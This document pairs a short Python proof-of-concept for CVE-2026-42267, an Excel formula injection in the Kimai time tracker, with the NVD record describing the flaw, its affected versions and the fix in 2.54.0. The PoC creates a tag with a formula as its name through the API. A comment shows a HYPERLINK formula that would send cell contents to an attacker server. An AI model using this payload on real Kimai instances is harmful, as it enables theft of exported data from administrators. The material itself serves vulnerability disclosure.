CVE-2026-42267

# PoC for CVE-2026-42267: Kimai Excel Formula Injection import requests target = "https://<kimai-domain>" api_endpoint = f"{target}/api/tags" auth = ("attacker", "password") # Payload: Excel Formula that could be used for data exfiltration or command execution # Example: =HYPERLINK("http://attacker-server/?leak="&A1&"&b="&B1, "Error: Click to fix") malicious_tag_name = "=SUM(54+51)" headers = {"Content-Type": "application/json", "Accept": "application/json"} payload = {"name": malicious_tag_name, "color": "#ff0000"} try: # Step 1: Create the malicious tag response = requests.post(api_endpoint, json=payload, auth=auth, headers=headers) if response.status_code == 201: tag_id = response.json().get('id') print(f"[+] Malicious tag created with ID: {tag_id}") # Step 2: Assign tag to a timesheet (requires a valid timesheet ID) # ts_id = "<valid_timesheet_id>" # patch_payload = {"tags": [tag_id]} # requests.patch(f"{target}/api/timesheets/{ts_id}", json=patch_payload, auth=auth, headers=headers) # print(f"[+] Tag assigned to timesheet {ts_id}") else: print(f"[-] Failed to create tag: {response.text}") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-42267", "sourceIdentifier": "[email protected]", "published": "2026-05-08T04:16:20.533", "lastModified": "2026-05-13T17:58:49.080", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Kimai is an open-source time tracking application. From version 2.27.0 to before version 2.54.0, any ROLE_USER can create a tag with a formula string as its name (e.g. =SUM(54+51)) via POST /api/tags and assign it to a timesheet. When an admin exports timesheets to XLSX, ArrayFormatter.formatValue() joins tag names with implode() and returns the result unchanged. OpenSpout promotes any =-prefixed string to a FormulaCell, writing <f>SUM(54+51)</f> into the XLSX archive. Excel evaluates the formula when the file is opened. This issue has been patched in version 2.54.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N", "baseScore": 5.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1236"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:kimai:kimai:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.27.0", "versionEndExcluding": "2.54.0", "matchCriteriaId": "F27E1E81-7C0B-4176-BE09-8386968D69FA"}]}]}], "references": [{"url": "https://github.com/kimai/kimai/releases/tag/2.54.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/kimai/kimai/security/advisories/GHSA-3xc2-h5r3-wv3r", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/kimai/kimai/security/advisories/GHSA-3xc2-h5r3-wv3r", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}